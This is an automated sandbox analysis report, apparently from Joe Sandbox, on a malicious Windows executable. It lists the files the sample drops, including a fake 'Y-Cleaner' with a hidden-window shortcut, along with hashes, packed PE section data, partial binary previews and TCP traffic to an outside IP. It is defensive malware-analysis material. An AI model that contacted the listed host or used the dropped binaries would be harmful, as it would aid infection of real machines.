SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\hvm4oOzDaX.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Fri Dec 20 14:36:47 2024, mtime=Fri Dec 20 14:36:47 2024, atime=Fri Dec 20 14:36:47 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2137
Entropy (8bit):	3.76269342994416
Encrypted:	false
SSDEEP:	24:8EmmYBHTD1lXoXSRlgKmjX9KyAOXaQvND39EW39JO4Zkq39YB/qygm:8jHTD1l4CRY4BQvNDeWHZkqDyg
MD5:	5DE4D5F6712A0F8F4910CF7214411DAA
SHA1:	0DE50F59F1565D55471E69F046FFD470D1973D15
SHA-256:	5F3BEB13714E7D61508694B9C62257FC5C2C7EC7C4DF0B1C1B3259A9540564B1
SHA-512:	34248A9641047098F1AF5890DAAC47CFF77FF54F3E14AF81C7C3B98196CAC0CA08B92C7C357C4A71BAD0120A9F5880738CB31E9711A948B189E1CC517E0C95D7
Malicious:	false
Preview:	L..................F.@.. ...K.L..R..K.L..R..K.L..R..........................(.:..DG..Yr?.D..U..k0.&...&.......$..S.....@..R....U..R......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Yd\|...........................^.A.p.p.D.a.t.a...B.P.1......Y`\|..Local.<......EW<2.Yc\|....[.....................0...L.o.c.a.l.....N.1......Yb\|..Temp..:......EW<2.Yb\|....^......................F..T.e.m.p.....d.1......Y.\|..K4FKW4~1..L......Y.\|.Y.\|..........................n8..K.4.f.K.w.4.w.A.e.A.e.9.Y.....h.2......Y.\| .Y-CLEA~1.EXE..L......Y.\|.Y.\|...........................L..Y.-.C.l.e.a.n.e.r...e.x.e.......o...............-.......n............"nV.....C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.1.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.K.4.f.K.w.4.w.A.e.A.e.9.Y.\.Y.-.C.l.e.a.n.e.r...e.x.e.@.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.K.4.f.K.w.4.w.A.e.A.e.9.Y.\.Y.-.C.l.e.a.n.e

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468597990617177
Encrypted:	false
SSDEEP:	6144:EzZfpi6ceLPx9skLmb0fWZWSP3aJG8nAgeiJRMMhA2zX4WABluuN4jDH5S:qZHtWZWOKnMM6bFpyj4
MD5:	C5B805ACF90B85947DED70C6AC27AEA0
SHA1:	B5F8C9A6A938B0958F4C092C7A4738F586BB63D3
SHA-256:	F42A1031AA9F4BA12338E98FA33B9F99A18B3E17637546E0D4D833D4160354E1
SHA-512:	AD435A6A6AC0EB5DDBA3657D504AC19AAAC35EA9889F7853857A136F779DD772C6DD64C1FB2C3BB951CAF97089E2847AA7E76F91EE09E237507634A2EE61E4BE
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..D..R...............................................................................................................................................................................................................................................................................................................................................7R.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9413783711854045
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hvm4oOzDaX.exe
File size:	1'959'936 bytes
MD5:	69a94137bf10488dd980bc600b3735c8
SHA1:	da3d908540863d0466fb2d7acab950afaf47d75e
SHA256:	b53ffd4fc8c3b8759852c9742c3e26b4e3b8ba115ca15229a235db74f59a82db
SHA512:	2c4737d12aaf57967b0ed3aa224b6e836fa4adc25438ebd795cdb1204e4357f24ab5872bb9d8d47ef34f8083e0dd48e34fb3d53498cf50c8fdd48e36c22a81bf
SSDEEP:	49152:UW5o5ReXPEz6R3AJBquFqmJI9JiKHMyrGT7gDUcqCchec:UWsRaPK6xAJBqxmJqJhHxG7g4rCk
TLSH:	199533ABFFD0FE69C1E64630623BA0B8F57905AA751EC17D2359102532B778B12E26C1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i..............nG@......ZR......ZC......ZU......................Z\......ZB......ZG.....Rich....................PE..L....,.e...

File Icon


Icon Hash:	e7a99a8a8651790c

Static PE Info

General

Entrypoint:	0xc66000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65B12CA8 [Wed Jan 24 15:28:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F87A4E59C8Ah
shufps xmm3, dqword ptr [00000000h], 00h
jmp 00007F87A4E5BC85h
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [00000000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor al, 05h
add byte ptr [ecx], dh

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41805b	0x6f	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40d000	0xaea0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x85e210	0x18	mqgxqxeq
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40c000	0x24e00	7738e5d6a79ca2d5d2e901428cdb089d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40d000	0xaea0	0x7000	4f4f23b0f41be496d26f5fd2fe260748	False	0.9673897879464286	data	7.898196141536099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x418000	0x1000	0x200	b8539b83d0b3f253ed2a56b71af0554b	False	0.154296875	data	1.085758102617974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x419000	0x29d000	0x200	bb224bbe87d1c1f1b7554ff992ba3150	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mqgxqxeq	0x6b6000	0x1af000	0x1af000	10b454544224aa149377078823760321	False	0.9904552911107889	data	7.948778259949829	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xswsrjnl	0x865000	0x1000	0x400	ebb27ecccd0d951e2ab1355d885d1e44	False	0.82421875	data	6.347332242291582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x866000	0x3000	0x2200	71cb7e9c1c85f38c886496d184a0e3cb	False	0.09823069852941177	DOS executable (COM)	1.1605035260997283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x85e270	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkmen	Turkmenistan	0.7971748400852878
RT_ICON	0x85f118	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkmen	Turkmenistan	0.7838447653429603
RT_ICON	0x85f9c0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkmen	Turkmenistan	0.7200460829493087
RT_ICON	0x860088	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkmen	Turkmenistan	0.740606936416185
RT_ICON	0x8605f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkmen	Turkmenistan	0.6840248962655602
RT_ICON	0x862b98	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkmen	Turkmenistan	0.7345215759849906
RT_ICON	0x863c40	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkmen	Turkmenistan	0.7622950819672131
RT_ICON	0x8645c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkmen	Turkmenistan	0.8111702127659575
RT_STRING	0x413c80	0x330	data			0.8370098039215687
RT_STRING	0x413fb0	0x170	data			0.15
RT_STRING	0x414120	0x620	empty			0
RT_STRING	0x414740	0x762	empty			0
RT_STRING	0x414ea4	0x852	empty			0
RT_STRING	0x4156f8	0x726	empty			0
RT_STRING	0x415e20	0x658	empty			0
RT_STRING	0x416478	0x6c0	empty			0
RT_STRING	0x416b38	0x638	empty			0
RT_STRING	0x417170	0x88a	empty			0
RT_ACCELERATOR	0x4179fc	0x20	empty			0
RT_GROUP_ICON	0x864a30	0x76	data	Turkmen	Turkmenistan	0.6610169491525424
RT_VERSION	0x864aa6	0x1b4	data			0.5711009174311926
RT_MANIFEST	0x864c5a	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkmen	Turkmenistan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:36:01.012337923 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:01.132909060 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:01.133017063 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:01.133872032 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:01.255701065 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:02.530546904 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:02.530622959 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:02.882384062 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.002021074 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.358248949 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.358378887 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.364968061 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.484653950 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.928808928 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.928879976 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.928924084 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.928936958 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.928960085 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.928996086 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.929336071 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.929366112 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.929378986 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.929379940 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.929399014 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.929410934 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.929445982 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.929445982 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.930083990 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.930099010 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.930123091 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.930156946 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.937514067 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.937570095 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.937979937 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.938028097 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:03.946069002 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:03.946122885 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.048449993 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.048526049 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.120820045 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.120877981 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.120946884 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.120985031 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.124830008 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.124905109 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.124927044 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.124968052 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.132818937 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.132867098 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.133040905 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.133084059 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.141028881 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.141093969 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.141959906 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.142000914 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.148865938 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.148910999 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.149890900 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.149931908 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.156800032 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.156878948 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.156903028 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.156940937 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.164793968 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.164849043 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.166121960 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.166215897 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.172854900 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.172913074 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.173023939 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.173069000 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.180804014 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.180867910 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.181164026 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.181226015 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.188863039 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.188924074 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.189248085 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.189296961 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.195727110 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.195801020 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.196022987 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.196065903 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.202790022 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.202856064 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.202882051 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.202923059 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.312944889 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.312983036 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.313008070 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.313074112 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.315357924 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.315412998 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.315458059 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.315502882 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.320122957 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.320174932 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.322082996 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.322139978 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.322174072 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.322221994 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.326854944 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.326942921 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.326946974 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.326987028 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.331815958 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.331867933 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.332508087 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.332581997 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.336700916 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.336756945 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.337201118 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.337249041 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.340975046 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.341028929 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.341135979 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.341187000 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.345462084 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.345516920 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.345608950 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.345663071 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.349957943 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.350009918 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.350043058 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.350094080 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.354547977 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.354599953 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.354608059 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.354655981 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.359004974 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.359061956 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.359098911 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.359138966 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.363503933 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.363567114 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.364335060 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.364387035 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.367948055 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.368002892 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.368140936 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.368186951 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.372458935 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.372513056 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.372596979 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.372639894 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.377041101 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.377089024 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.377686977 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.377729893 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.381571054 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.381613970 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.381669998 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.381710052 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.386081934 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.386456013 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.386624098 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.390541077 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.390690088 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.390827894 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.390880108 CET	49842	80	192.168.2.6	185.156.73.23
Dec 20, 2024 16:36:04.395020008 CET	80	49842	185.156.73.23	192.168.2.6
Dec 20, 2024 16:36:04.395128965 CET	80	49842	185.156.73.23	192.168.2.6
